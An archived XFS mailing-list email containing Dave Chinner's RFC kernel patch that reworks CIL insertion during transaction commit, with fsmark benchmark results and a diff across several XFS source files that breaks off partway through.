From dave@fromorbit.com Mon Jul 1 00:44:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 5C97D7F4E for ; Mon, 1 Jul 2013 00:44:49 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3F23C8F8039 for ; Sun, 30 Jun 2013 22:44:46 -0700 (PDT) X-ASG-Debug-ID: 1372657482-04cbb046909bf050001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id lYlqFlULvslEvjG4 for ; Sun, 30 Jun 2013 22:44:42 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AhIMACoW0VF5LakP/2dsb2JhbABagwnADQSBBxd0giMBIAEMLxYlGBhSAysJHodwm0SfTY42C4Eug10Dk3aVF4MjKg Received: from ppp121-45-169-15.lns20.syd6.internode.on.net (HELO dastard) ([121.45.169.15]) by ipmail05.adl6.internode.on.net with ESMTP; 01 Jul 2013 15:14:40 +0930 Received: from disappointment ([192.168.1.1]) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1UtWuj-0001Fu-4a for xfs@oss.sgi.com; Mon, 01 Jul 2013 15:44:37 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1UtWuj-0002Pb-0G for xfs@oss.sgi.com; Mon, 01 Jul 2013 15:44:37 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH] xfs: optimise CIL insertion during transaction commit [RFC] Date: Mon, 1 Jul 2013 15:44:36 +1000 X-ASG-Orig-Subj: [PATCH] xfs: optimise CIL insertion during transaction commit [RFC] Message-Id: <1372657476-9241-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.7.10.4 X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1372657482 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135467 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Note: This is an RFC right now - it'll need to be broken up into several patches for final submission. The CIL insertion during transaction commit currently does multiple passes across the transaction objects and requires multiple memory allocations per object that is to be inserted into the CIL. It is quite inefficient, and as such xfs_log_commit_cil() and it's children show up quite highly in profiles under metadata modification intensive workloads. The current insertion tries to minimise ithe number of times the xc_cil_lock is grabbed and the hold times via a couple of methods: 1. an initial loop across the transaction items outside the lock to allocate log vectors, buffers and copy the data into them. 2. a second pass across the log vectors that then inserts them into the CIL, modifies the CIL state and frees the old vectors. This is somewhat inefficient. While it minimises lock grabs, the hold time is still quite high because we are freeing objects with the spinlock held and so the hold times are much higher than they need to be. Optimisations that can be made: 1. change IOP_SIZE() to return the size of the metadata to be logged with the number of vectors required. This means we can allocate the buffer to hold the metadata as part of the allocation for the log vector array. Once allocation instead of two. 2. Store the size of the allocated region for the log vector in the log vector itself. This allows us to determine if we can just reuse the existing log vector for the new transactions. Avoids all memory allocation for that item. 3. when setting up a new log vector, we don't need to hold the CIL lock while determining the difference in it's size when compared to the old one. Hence we can do all the accounting, swapping of the log vectors and freeing the old log vectors outside the xc_cil_lock. 4. We can do all the CIL insertation of items and busy extents and the accounting under a single grab of the xc_cil_lock. This minimises the number of times we need to grab it and hence contention points are kept to a minimum 5. the xc_cil_lock is used for serialising both the CIL and the push/commit ordering. Separate the two functions into different locks so push/commit ordering does not affect CIL insertion 6. the xc_cil_lock shares cachelines with other locks. Separate them onto different cachelines. The result is that my standard fsmark benchmark (8-way, 50m files) on my standard test VM (8-way, 4GB RAM, 4xSSD in RAID0, 100TB fs) gives the following results with a xfs-oss tree. No CRCs: vanilla patched Difference create (time) 483s 435s -10.0% (faster) (rate) 109k+/6k 122k+/-7k +11.9% (faster) walk 339s 335s (noise) (sys cpu) 1134s 1135s (noise) unlink 692s 645s -6.8% (faster) So it's significantly faster than the current code, and lock_stat reports lower contention on the xc_cil_lock, too. So, big win here. With CRCs: vanilla patched Difference create (time) 510s 460s -9.8% (faster) (rate) 105k+/5.4k 117k+/-5k +11.4% (faster) walk 494s 486s (noise) (sys cpu) 1324s 1290s (noise) unlink 959s 889s -7.3% (faster) Gains are of the same order, with walk and unlink still affected by VFS LRU lock contention. IOWs, with this changes, filesystems with CRCs enabled will still be faster than the old non-CRC kernels... Signed-off-by: Dave Chinner --- fs/xfs/xfs_buf_item.c | 52 ++++--- fs/xfs/xfs_dquot_item.c | 22 +-- fs/xfs/xfs_extfree_item.c | 50 ++++--- fs/xfs/xfs_icreate_item.c | 9 +- fs/xfs/xfs_inode_item.c | 52 ++++--- fs/xfs/xfs_log.h | 1 + fs/xfs/xfs_log_cil.c | 366 +++++++++++++++++++++++---------------------- fs/xfs/xfs_log_priv.h | 7 +- fs/xfs/xfs_trans.h | 4 +- 9 files changed, 311 insertions(+), 252 deletions(-) diff --git a/fs/xfs/xfs_buf_item.c b/fs/xfs/xfs_buf_item.c index bfc4e0c..9358504 100644 --- a/fs/xfs/xfs_buf_item.c +++ b/fs/xfs/xfs_buf_item.c @@ -39,6 +39,14 @@ static inline struct xfs_buf_log_item *BUF_ITEM(struct xfs_log_item *lip) STATIC void xfs_buf_do_callbacks(struct xfs_buf *bp); +static inline int +xfs_buf_log_format_size( + struct xfs_buf_log_format *blfp) +{ + return offsetof(struct xfs_buf_log_format, blf_data_map) + + (blfp->blf_map_size * sizeof(blfp->blf_data_map[0])); +} + /* * This returns the number of log iovecs needed to log the * given buf log item. @@ -49,25 +57,27 @@ STATIC void xfs_buf_do_callbacks(struct xfs_buf *bp); * * If the XFS_BLI_STALE flag has been set, then log nothing. */ -STATIC uint +STATIC void xfs_buf_item_size_segment( struct xfs_buf_log_item *bip, - struct xfs_buf_log_format *blfp) + struct xfs_buf_log_format *blfp, + int *nvecs, + int *nbytes) { struct xfs_buf *bp = bip->bli_buf; - uint nvecs; int next_bit; int last_bit; last_bit = xfs_next_bit(blfp->blf_data_map, blfp->blf_map_size, 0); if (last_bit == -1) - return 0; + return; /* * initial count for a dirty buffer is 2 vectors - the format structure * and the first dirty region. */ - nvecs = 2; + *nvecs += 2; + *nbytes += xfs_buf_log_format_size(blfp) + XFS_BLF_CHUNK; while (last_bit != -1) { /* @@ -87,18 +97,17 @@ xfs_buf_item_size_segment( break; } else if (next_bit != last_bit + 1) { last_bit = next_bit; - nvecs++; + (*nvecs)++; } else if (xfs_buf_offset(bp, next_bit * XFS_BLF_CHUNK) != (xfs_buf_offset(bp, last_bit * XFS_BLF_CHUNK) + XFS_BLF_CHUNK)) { last_bit = next_bit; - nvecs++; + (*nvecs)++; } else { last_bit++; } + *nbytes += XFS_BLF_CHUNK; } - - return nvecs; } /* @@ -118,12 +127,13 @@ xfs_buf_item_size_segment( * If the XFS_BLI_STALE flag has been set, then log nothing but the buf log * format structures. */ -STATIC uint +STATIC void xfs_buf_item_size( - struct xfs_log_item *lip) + struct xfs_log_item *lip, + int *nvecs, + int *nbytes) { struct xfs_buf_log_item *bip = BUF_ITEM(lip); - uint nvecs; int i; ASSERT(atomic_read(&bip->bli_refcount) > 0); @@ -135,7 +145,11 @@ xfs_buf_item_size( */ trace_xfs_buf_item_size_stale(bip); ASSERT(bip->__bli_format.blf_flags & XFS_BLF_CANCEL); - return bip->bli_format_count; + *nvecs += bip->bli_format_count; + for (i = 0; i < bip->bli_format_count; i++) { + *nbytes += xfs_buf_log_format_size(&bip->bli_formats[i]); + } + return; } ASSERT(bip->bli_flags & XFS_BLI_LOGGED); @@ -147,7 +161,8 @@ xfs_buf_item_size( * commit, so no vectors are used at all. */ trace_xfs_buf_item_size_ordered(bip); - return XFS_LOG_VEC_ORDERED; + *nvecs = XFS_LOG_VEC_ORDERED; + return; } /* @@ -159,13 +174,11 @@ xfs_buf_item_size( * count for the extra buf log format structure that will need to be * written. */ - nvecs = 0; for (i = 0; i < bip->bli_format_count; i++) { - nvecs += xfs_buf_item_size_segment(bip, &bip->bli_formats[i]); + xfs_buf_item_size_segment(bip, &bip->bli_formats[i], + nvecs, nbytes); } - trace_xfs_buf_item_size(bip); - return nvecs; } static struct xfs_log_iovec * @@ -192,8 +205,7 @@ xfs_buf_item_format_segment( * the actual size of the dirty bitmap rather than the size of the in * memory structure. */ - base_size = offsetof(struct xfs_buf_log_format, blf_data_map) + - (blfp->blf_map_size * sizeof(blfp->blf_data_map[0])); + base_size = xfs_buf_log_format_size(blfp); nvecs = 0; first_bit = xfs_next_bit(blfp->blf_data_map, blfp->blf_map_size, 0); diff --git a/fs/xfs/xfs_dquot_item.c b/fs/xfs/xfs_dquot_item.c index f07a436..60c6e1f 100644 --- a/fs/xfs/xfs_dquot_item.c +++ b/fs/xfs/xfs_dquot_item.c @@ -44,14 +44,15 @@ static inline struct xfs_dq_logitem *DQUOT_ITEM(struct xfs_log_item *lip) /* * returns the number of iovecs needed to log the given dquot item. */ -STATIC uint +STATIC void xfs_qm_dquot_logitem_size( - struct xfs_log_item *lip) + struct xfs_log_item *lip, + int *nvecs, + int *nbytes) { - /* - * we need only two iovecs, one for the format, one for the real thing - */ - return 2; + *nvecs += 2; + *nbytes += sizeof(struct xfs_dq_logformat) + + sizeof(struct xfs_disk_dquot); } /* @@ -286,11 +287,14 @@ static inline struct xfs_qoff_logitem *QOFF_ITEM(struct xfs_log_item *lip) * We only need 1 iovec for an quotaoff item. It just logs the * quotaoff_log_format structure. */ -STATIC uint +STATIC void xfs_qm_qoff_logitem_size( - struct xfs_log_item *lip) + struct xfs_log_item *lip, + int *nvecs, + int *nbytes) { - return 1; + *nvecs += 1; + *nbytes += sizeof(struct xfs_qoff_logitem); } /* diff --git a/fs/xfs/xfs_extfree_item.c b/fs/xfs/xfs_extfree_item.c index 452920a..dc53e8f 100644 --- a/fs/xfs/xfs_extfree_item.c +++ b/fs/xfs/xfs_extfree_item.c @@ -73,11 +73,22 @@ __xfs_efi_release( * We only need 1 iovec for an efi item. It just logs the efi_log_format * structure. */ -STATIC uint +static inline int +xfs_efi_item_sizeof( + struct xfs_efi_log_item *efip) +{ + return sizeof(struct xfs_efi_log_format) + + (efip->efi_format.efi_nextents - 1) * sizeof(xfs_extent_t); +} + +STATIC void xfs_efi_item_size( - struct xfs_log_item *lip) + struct xfs_log_item *lip, + int *nvecs, + int *nbytes) { - return 1; + *nvecs += 1; + *nbytes += xfs_efi_item_sizeof(EFI_ITEM(lip)); } /* @@ -93,21 +104,17 @@ xfs_efi_item_format( struct xfs_log_iovec *log_vector) { struct xfs_efi_log_item *efip = EFI_ITEM(lip); - uint size; ASSERT(atomic_read(&efip->efi_next_extent) == efip->efi_format.efi_nextents); efip->efi_format.efi_type = XFS_LI_EFI; - - size = sizeof(xfs_efi_log_format_t); - size += (efip->efi_format.efi_nextents - 1) * sizeof(xfs_extent_t); efip->efi_format.efi_size = 1; log_vector->i_addr = &efip->efi_format; - log_vector->i_len = size; + log_vector->i_len = xfs_efi_item_sizeof(efip); log_vector->i_type = XLOG_REG_TYPE_EFI_FORMAT; - ASSERT(size >= sizeof(xfs_efi_log_format_t)); + ASSERT(log_vector->i_len >= sizeof(xfs_efi_log_format_t)); } @@ -333,11 +340,22 @@ xfs_efd_item_free(struct xfs_efd_log_item *efdp) * We only need 1 iovec for an efd item. It just logs the efd_log_format * structure. */ -STATIC uint +static inline int +xfs_efd_item_sizeof( + struct xfs_efd_log_item *efdp) +{ + return sizeof(xfs_efd_log_format_t) + + (efdp->efd_format.efd_nextents - 1) * sizeof(xfs_extent_t); +} + +STATIC void xfs_efd_item_size( - struct xfs_log_item *lip) + struct xfs_log_item *lip, + int *nvecs, + int *nbytes) { - return 1; + *nvecs += 1; + *nbytes += xfs_efd_item_sizeof(EFD_ITEM(lip)); } /* @@ -353,20 +371,16 @@ xfs_efd_item_format( struct xfs_log_iovec *log_vector) { struct xfs_efd_log_item *efdp = EFD_ITEM(lip); - uint size; ASSERT(efdp->efd_next_extent == efdp->efd_format.efd_nextents); efdp->efd_format.efd_type = XFS_LI_EFD; - - size = sizeof(xfs_efd_log_format_t); - size += (efdp->efd_format.efd_nextents - 1) * sizeof(xfs_extent_t); efdp->efd_format.efd_size = 1; log_vector->i_addr = &efdp->efd_format; - log_vector->i_len = size; + log_vector->i_len = xfs_efd_item_sizeof(efdp); log_vector->i_type = XLOG_REG_TYPE_EFD_FORMAT; - ASSERT(size >= sizeof(xfs_efd_log_format_t)); + ASSERT(log_vector->i_len >= sizeof(xfs_efd_log_format_t)); } /* diff --git a/fs/xfs/xfs_icreate_item.c b/fs/xfs/xfs_icreate_item.c index 441a78a..5a5a593 100644 --- a/fs/xfs/xfs_icreate_item.c +++ b/fs/xfs/xfs_icreate_item.c @@ -40,11 +40,14 @@ static inline struct xfs_icreate_item *ICR_ITEM(struct xfs_log_item *lip) * * We only need one iovec for the icreate log structure. */ -STATIC uint +STATIC void xfs_icreate_item_size( - struct xfs_log_item *lip) + struct xfs_log_item *lip, + int *nvecs, + int *nbytes) { - return 1; + *nvecs += 1; + *nbytes += sizeof(struct xfs_icreate_log); } /* diff --git a/fs/xfs/xfs_inode_item.c b/fs/xfs/xfs_inode_item.c index f76ff52..366b3bd 100644 --- a/fs/xfs/xfs_inode_item.c +++ b/fs/xfs/xfs_inode_item.c @@ -47,32 +47,44 @@ static inline struct xfs_inode_log_item *INODE_ITEM(struct xfs_log_item *lip) * inode core, and possibly one for the inode data/extents/b-tree root * and one for the inode attribute data/extents/b-tree root. */ -STATIC uint +STATIC void xfs_inode_item_size( - struct xfs_log_item *lip) + struct xfs_log_item *lip, + int *nvecs, + int *nbytes) { struct xfs_inode_log_item *iip = INODE_ITEM(lip); struct xfs_inode *ip = iip->ili_inode; - uint nvecs = 2; + + *nvecs += 2; + *nbytes += sizeof(struct xfs_inode_log_format) + + xfs_icdinode_size(ip->i_d.di_version); switch (ip->i_d.di_format) { case XFS_DINODE_FMT_EXTENTS: if ((iip->ili_fields & XFS_ILOG_DEXT) && ip->i_d.di_nextents > 0 && - ip->i_df.if_bytes > 0) - nvecs++; + ip->i_df.if_bytes > 0) { + /* worst case, doesn't subtract delalloc extents */ + *nbytes += ip->i_df.if_bytes; + *nvecs += 1; + } break; case XFS_DINODE_FMT_BTREE: if ((iip->ili_fields & XFS_ILOG_DBROOT) && - ip->i_df.if_broot_bytes > 0) - nvecs++; + ip->i_df.if_broot_bytes > 0) { + *nbytes += ip->i_df.if_broot_bytes; + *nvecs += 1; + } break; case XFS_DINODE_FMT_LOCAL: if ((iip->ili_fields & XFS_ILOG_DDATA) && - ip->i_df.if_bytes > 0) - nvecs++; + ip->i_df.if_bytes > 0) { + *nbytes += roundup(ip->i_df.if_bytes, 4); + *nvecs += 1; + } break; case XFS_DINODE_FMT_DEV: @@ -85,7 +97,7 @@ xfs_inode_item_size( } if (!XFS_IFORK_Q(ip)) - return nvecs; + return; /* @@ -95,28 +107,32 @@ xfs_inode_item_size( case XFS_DINODE_FMT_EXTENTS: if ((iip->ili_fields & XFS_ILOG_AEXT) && ip->i_d.di_anextents > 0 && - ip->i_afp->if_bytes > 0) - nvecs++; + ip->i_afp->if_bytes > 0) { + *nbytes += ip->i_afp->if_bytes; + *nvecs += 1; + } break; case XFS_DINODE_FMT_BTREE: if ((iip->ili_fields & XFS_ILOG_ABROOT) && - ip->i_afp->if_broot_bytes > 0) - nvecs++; + ip->i_afp->if_broot_bytes > 0) { + *nbytes += ip->i_afp->if_broot_bytes; + *nvecs += 1; + } break; case XFS_DINODE_FMT_LOCAL: if ((iip->ili_fields & XFS_ILOG_ADATA) && - ip->i_afp->if_bytes > 0) - nvecs++; + ip->i_afp->if_bytes > 0) { + *nbytes += roundup(ip->i_afp->if_bytes, 4); + *nvecs += 1; + } break; default: ASSERT(0); break; } - - return nvecs; } /* diff --git a/fs/xfs/xfs_log.h b/fs/xfs/xfs_log.h index e63d9e1..1c45848 100644 --- a/fs/xfs/xfs_log.h +++ b/fs/xfs/xfs_log.h @@ -27,6 +27,7 @@ struct xfs_log_vec { struct xfs_log_item *lv_item; /* owner */ char *lv_buf; /* formatted buffer */ int lv_buf_len; /* size of formatted buffer */ + int lv_size; /* size of allocated lv */ }; #define XFS_LOG_VEC_ORDERED (-1) diff --git a/fs/xfs/xfs_log_cil.c b/fs/xfs/xfs_log_cil.c index 02b9cf3..4425406 100644 --- a/fs/xfs/xfs_log_cil.c +++ b/fs/xfs/xfs_log_cil.c @@ -77,7 +77,85 @@ xlog_cil_init_post_recovery( log->l_cilp->xc_ctx->ticket = xlog_cil_ticket_alloc(log); log->l_cilp->xc_ctx->sequence = 1; log->l_cilp->xc_ctx->commit_lsn = xlog_assign_lsn(log->l_curr_cycle, - log->l_curr_block); + log->l_curr_block); +} + +/* + * Prepare the log item for insertion into the CIL. Calculate the difference in + * log space and vectors it will consume, and if it is a new item pin it as + * well. + */ +STATIC void +xfs_cil_prepare_item( + struct xlog *log, + struct xfs_log_vec *lv, + struct xfs_log_vec *old_lv, + int *len, + int *diff_iovecs) +{ + if (old_lv) { + /* existing lv on log item, space used is a delta */ + ASSERT(old_lv->lv_buf_len != lv->lv_buf_len || + old_lv->lv_niovecs != lv->lv_niovecs); + ASSERT(lv->lv_buf_len != XFS_LOG_VEC_ORDERED); + + *len += lv->lv_buf_len - old_lv->lv_buf_len; + *diff_iovecs += lv->lv_niovecs - old_lv->lv_niovecs; + } else { + /* new lv, must pin the log item */ + ASSERT(!lv->lv_item->li_lv); + + if (lv->lv_buf_len != XFS_LOG_VEC_ORDERED) { + *len += lv->lv_buf_len; + *diff_iovecs += lv->lv_niovecs; + } + IOP_PIN(lv->lv_item); + + } + + /* attach new log vector to log item */ + lv->lv_item->li_lv = lv; + + /* + * If this is the first time the item is being committed to the + * CIL, store the sequence number on the log item so we can + * tell in future commits whether this is the first checkpoint + * the item is being committed into. + */ + if (!lv->lv_item->li_seq) + lv->lv_item->li_seq = log->l_cilp->xc_ctx->sequence; +} + +STATIC void +xlog_cil_lv_item_format( + struct xfs_log_item *lip, + struct xfs_log_vec *lv) +{ + int index; + char *ptr; + + /* format new vectors into array */ + lip->li_ops->iop_format(lip, lv->lv_iovecp); + + /* copy data into existing array */ + ptr = lv->lv_buf; + for (index = 0; index < lv->lv_niovecs; index++) { + struct xfs_log_iovec *vec = &lv->lv_iovecp[index]; + + //printk("\tptr 0x%p, vlen 0x%x\n", ptr, vec->i_len); + memcpy(ptr, vec->i_addr, vec->i_len); + vec->i_addr = ptr; + ptr += vec->i_len; + } + + /* + * some size calculations for log vectors over-estimate, so we'll see + * this as not using the entire buffer here. Hence just check ofr + * overruns on debug kernels. + */ + //printk("ptr 0x%p, lvb 0x%p lvbe 0x%p\n", + //ptr, lv->lv_buf, lv->lv_buf + lv->lv_buf_len); + ASSERT(ptr > lv->lv_buf && ptr <= lv->lv_buf + lv->lv_buf_len); } /* @@ -106,37 +184,37 @@ xlog_cil_init_post_recovery( * format the regions into the iclog as though they are being formatted * directly out of the objects themselves. */ -static struct xfs_log_vec * -xlog_cil_prepare_log_vecs( - struct xfs_trans *tp) +void +xlog_cil_insert_format_items( + struct xlog *log, + struct xfs_trans *tp, + int *diff_len, + int *diff_iovecs) { struct xfs_log_item_desc *lidp; - struct xfs_log_vec *lv = NULL; - struct xfs_log_vec *ret_lv = NULL; - /* Bail out if we didn't find a log item. */ if (list_empty(&tp->t_items)) { ASSERT(0); - return NULL; + return; } + /* walk each transaction item */ list_for_each_entry(lidp, &tp->t_items, lid_trans) { - struct xfs_log_vec *new_lv; - void *ptr; - int index; - int len = 0; - uint niovecs; - bool ordered = false; + struct xfs_log_item *lip = lidp->lid_item; + struct xfs_log_vec *lv; + struct xfs_log_vec *old_lv; + int niovecs = 0; + int nbytes = 0; + int buf_size; + bool ordered = false; /* Skip items which aren't dirty in this transaction. */ if (!(lidp->lid_flags & XFS_LID_DIRTY)) continue; - /* Skip items that do not have any vectors for writing */ - niovecs = IOP_SIZE(lidp->lid_item); - if (!niovecs) - continue; + /* get number of vecs and size of data to be stored */ + lip->li_ops->iop_size(lip, &niovecs, &nbytes); /* * Ordered items need to be tracked but we do not wish to write @@ -146,111 +224,63 @@ xlog_cil_prepare_log_vecs( if (niovecs == XFS_LOG_VEC_ORDERED) { ordered = true; niovecs = 0; + nbytes = 0; } - new_lv = kmem_zalloc(sizeof(*new_lv) + - niovecs * sizeof(struct xfs_log_iovec), - KM_SLEEP|KM_NOFS); - - new_lv->lv_item = lidp->lid_item; - new_lv->lv_niovecs = niovecs; - if (ordered) { - /* track as an ordered logvec */ - new_lv->lv_buf_len = XFS_LOG_VEC_ORDERED; - goto next; - } - - /* The allocated iovec region lies beyond the log vector. */ - new_lv->lv_iovecp = (struct xfs_log_iovec *)&new_lv[1]; - - /* build the vector array and calculate it's length */ - IOP_FORMAT(new_lv->lv_item, new_lv->lv_iovecp); - for (index = 0; index < new_lv->lv_niovecs; index++) - len += new_lv->lv_iovecp[index].i_len; - - new_lv->lv_buf_len = len; - new_lv->lv_buf = kmem_alloc(new_lv->lv_buf_len, - KM_SLEEP|KM_NOFS); - ptr = new_lv->lv_buf; - - for (index = 0; index < new_lv->lv_niovecs; index++) { - struct xfs_log_iovec *vec = &new_lv->lv_iovecp[index]; - - memcpy(ptr, vec->i_addr, vec->i_len); - vec->i_addr = ptr; - ptr += vec->i_len; - } - ASSERT(ptr == new_lv->lv_buf + new_lv->lv_buf_len); - -next: - if (!ret_lv) - ret_lv = new_lv; - else - lv->lv_next = new_lv; - lv = new_lv; - } - - return ret_lv; -} - -/* - * Prepare the log item for insertion into the CIL. Calculate the difference in - * log space and vectors it will consume, and if it is a new item pin it as - * well. - */ -STATIC void -xfs_cil_prepare_item( - struct xlog *log, - struct xfs_log_vec *lv, - int *len, - int *diff_iovecs) -{ - struct xfs_log_vec *old = lv->lv_item->li_lv; + /* calc buffer size */ + buf_size = sizeof(struct xfs_log_vec) + nbytes + + niovecs * sizeof(struct xfs_log_iovec); - if (old) { - /* existing lv on log item, space used is a delta */ - ASSERT((old->lv_buf && old->lv_buf_len && old->lv_niovecs) || - old->lv_buf_len == XFS_LOG_VEC_ORDERED); + /* compare to existing item size */ + if (lip->li_lv && buf_size <= lip->li_lv->lv_size) { + /* same or smaller, optimise common overwrite case */ - /* - * If the new item is ordered, keep the old one that is already - * tracking dirty or ordered regions - */ - if (lv->lv_buf_len == XFS_LOG_VEC_ORDERED) { - ASSERT(!lv->lv_buf); - kmem_free(lv); - return; + /* format log item vectors into existing lv */ + if (!ordered) + xlog_cil_lv_item_format(lip, lip->li_lv); + continue; } - *len += lv->lv_buf_len - old->lv_buf_len; - *diff_iovecs += lv->lv_niovecs - old->lv_niovecs; - kmem_free(old->lv_buf); - kmem_free(old); - } else { - /* new lv, must pin the log item */ - ASSERT(!lv->lv_item->li_lv); + /* different */ - if (lv->lv_buf_len != XFS_LOG_VEC_ORDERED) { - *len += lv->lv_buf_len; - *diff_iovecs += lv->lv_niovecs; + /* allocate new data chunk */ + lv = kmem_zalloc(buf_size, KM_SLEEP|KM_NOFS); + lv->lv_item = lip; + lv->lv_size = buf_size; + lv->lv_niovecs = niovecs; + if (ordered) { + /* track as an ordered logvec */ + ASSERT(lip->li_lv == NULL); + lv->lv_buf_len = XFS_LOG_VEC_ORDERED; + goto insert; } - IOP_PIN(lv->lv_item); + /* The allocated iovec region lies beyond the log vector. */ + lv->lv_iovecp = (struct xfs_log_iovec *)&lv[1]; + + /* the allocated data region lies beyond the iovec region */ + lv->lv_buf = (char *)lv + buf_size - nbytes; + lv->lv_buf_len = nbytes; + + //printk("lv 0x%p, ivp 0x%p, buf 0x%p\n", + //lv, lv->lv_iovecp, lv->lv_buf); + //printk("size 0x%x, blen 0x%x, nvecs 0x%x\n", + //lv->lv_size, lv->lv_buf_len, lv->lv_niovecs); + + /* format item in new lv */ + xlog_cil_lv_item_format(lip, lv); +insert: + /* update new CIL space usage */ + old_lv = lip->li_lv; + xfs_cil_prepare_item(log, lv, old_lv, diff_len, diff_iovecs); + + /* free old lv */ + kmem_free(old_lv); } - /* attach new log vector to log item */ - lv->lv_item->li_lv = lv; - - /* - * If this is the first time the item is being committed to the - * CIL, store the sequence number on the log item so we can - * tell in future commits whether this is the first checkpoint - * the item is being committed into. - */ - if (!lv->lv_item->li_seq) - lv->lv_item->li_seq = log->l_cilp->xc_ctx->sequence; } + /* * Insert the log items into the CIL and calculate the difference in space * consumed by the item. Add the space to the checkpoint ticket and calculate @@ -261,53 +291,49 @@ xfs_cil_prepare_item( static void xlog_cil_insert_items( struct xlog *log, - struct xfs_log_vec *log_vector, + struct xfs_trans *tp, struct xlog_ticket *ticket) { struct xfs_cil *cil = log->l_cilp; struct xfs_cil_ctx *ctx = cil->xc_ctx; - struct xfs_log_vec *lv; + struct xfs_log_item_desc *lidp; int len = 0; int diff_iovecs = 0; int iclog_space; - ASSERT(log_vector); + ASSERT(tp); /* - * Do all the accounting aggregation and switching of log vectors - * around in a separate loop to the insertion of items into the CIL. - * Then we can do a separate loop to update the CIL within a single - * lock/unlock pair. This reduces the number of round trips on the CIL - * lock from O(nr_logvectors) to O(1) and greatly reduces the overall - * hold time for the transaction commit. - * - * If this is the first time the item is being placed into the CIL in - * this context, pin it so it can't be written to disk until the CIL is - * flushed to the iclog and the iclog written to disk. - * * We can do this safely because the context can't checkpoint until we * are done so it doesn't matter exactly how we update the CIL. */ + xlog_cil_insert_format_items(log, tp, &len, &diff_iovecs); + + + /* + * Now (re-)position everything modified at the tail of the CIL. + * We do this here so we only need to take the CIL lock once during + * the transaction commit. + */ spin_lock(&cil->xc_cil_lock); - for (lv = log_vector; lv; ) { - struct xfs_log_vec *next = lv->lv_next; + list_for_each_entry(lidp, &tp->t_items, lid_trans) { + struct xfs_log_item *lip = lidp->lid_item; - ASSERT(lv->lv_item->li_lv || list_empty(&lv->lv_item->li_cil)); - lv->lv_next = NULL; + /* Skip items which aren't dirty in this transaction. */ + if (!(lidp->lid_flags & XFS_LID_DIRTY)) + continue; - /* - * xfs_cil_prepare_item() may free the lv, so move the item on - * the CIL first. - */ - list_move_tail(&lv->lv_item->li_cil, &cil->xc_cil); - xfs_cil_prepare_item(log, lv, &len, &diff_iovecs); - lv = next; + list_move_tail(&lip->li_cil, &cil->xc_cil); } /* account for space used by new iovec headers */ len += diff_iovecs * sizeof(xlog_op_header_t); ctx->nvecs += diff_iovecs; + /* attach the transaction to the CIL if it has any busy extents */ + if (!list_empty(&tp->t_busy)) + list_splice_init(&tp->t_busy, &ctx->busy_extents); + /* * Now transfer enough transaction reservation to the context ticket * for the checkpoint. The context ticket is special - the unit @@ -350,7 +376,6 @@ xlog_cil_free_logvec( for (lv = log_vector; lv; ) { struct xfs_log_vec *next = lv->lv_next; - kmem_free(lv->lv_buf); kmem_free(lv); lv = next; } @@ -376,9 +401,9 @@ xlog_cil_committed( xfs_extent_busy_clear(mp, &ctx->busy_extents, (mp->m_flags & XFS_MOUNT_DISCARD) && !abort); - spin_lock(&ctx->cil->xc_cil_lock); + spin_lock(&ctx->cil->xc_push_lock); list_del(&ctx->committing); - spin_unlock(&ctx->cil->xc_cil_lock); + spin_unlock(&ctx->cil->xc_push_lock); xlog_cil_free_logvec(ctx->lv_chain); @@ -433,7 +458,7 @@ xlog_cil_push( down_write(&cil->xc_ctx_lock); ctx = cil->xc_ctx; - spin_lock(&cil->xc_cil_lock); + spin_lock(&cil->xc_push_lock); push_seq = cil->xc_push_seq; ASSERT(push_seq <= ctx->sequence); @@ -444,10 +469,10 @@ xlog_cil_push( */ if (list_empty(&cil->xc_cil)) { cil->xc_push_seq = 0; - spin_unlock(&cil->xc_cil_lock); + spin_unlock(&cil->xc_push_lock); goto out_skip; } - spin_unlock(&cil->xc_cil_lock); + spin_unlock(&cil->xc_push_lock); /* check for a previously pushed seqeunce */ @@ -515,9 +540,9 @@ xlog_cil_push( * that higher sequences will wait for us to write out a commit record * before they do. */ - spin_lock(&cil->xc_cil_lock); + spin_lock(&cil->xc_push_lock); list_add(&ctx->committing, &cil->xc_committing); - spin_unlock(&cil->xc_cil_lock); + spin_unlock(&cil->xc_push_lock); up_write(&cil->xc_ctx_lock); /* @@ -552,7 +577,7 @@ xlog_cil_push( * order the commit records so replay will get them in the right order. */ restart: - spin_lock(&cil->xc_cil_lock); + spin_lock(&cil->xc_push_lock); list_for_each_entry(new_ctx, &cil->xc_committing, committing) { /* * Higher sequences will wait for this one so skip them. @@ -565,11 +590,11 @@ restart: * It is still being pushed! Wait for the push to * complete, then start again from the beginning. */ - xlog_wait(&cil->xc_commit_wait, &cil->xc_cil_lock); + xlog_wait(&cil->xc_commit_wait, &cil->xc_push_lock); goto restart; } } - spin_unlock(&cil->xc_cil_lock); + spin_unlock(&cil->xc_push_lock); /* xfs_log_done always frees the ticket on error. */ commit_lsn = xfs_log_done(log->l_mp, tic, &commit_iclog, 0); @@ -588,10 +613,10 @@ restart: * 